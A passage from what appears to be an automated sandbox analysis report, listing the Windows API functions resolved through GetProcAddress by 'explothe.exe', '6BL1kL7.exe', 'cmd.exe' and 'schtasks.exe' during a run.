00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter IsTextUnicode (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter InitPropVariantFromStringAsVector (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PSCoerceToCanonicalValue (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PropVariantToStringAlloc (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SaferGetPolicyInformation (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter Dhcpv6QueryLeaseInfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter Dhcpv6FreeLeaseInfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DhcpIsEnabled (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DhcpQueryLeaseInfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSAttemptAutodialAddr (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSAttemptAutodialName (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSNoteSuccessfulHostentLookup (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DnsApiFree (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter I_RpcInitFwImports (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter I_RpcInitImports (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter I_RpcVerifierCorruptionExpected (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter I_RpcExtInitializeExtensionPoint (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter FreeAddrInfoExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00003888) "6BL1kL7.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter GetLongPathNameW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter IsTextUnicode (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter InitPropVariantFromStringAsVector (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PSCoerceToCanonicalValue (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PropVariantToStringAlloc (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter SaferGetPolicyInformation (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00003560) "6BL1kL7.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003560) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter PSCreateAdapterFromPropertyStore (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter PropVariantToBSTR (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter IUnknown_Set (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter FindWindowExW (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00003868) "cmd.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003868) "schtasks.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002808) "schtasks.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002808) "schtasks.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002808) "schtasks.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002808) "schtasks.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002808) "schtasks.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002808) "schtasks.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002808) "schtasks.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002808) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00002644) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00002644) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00002644) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002248) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002248) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002248) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 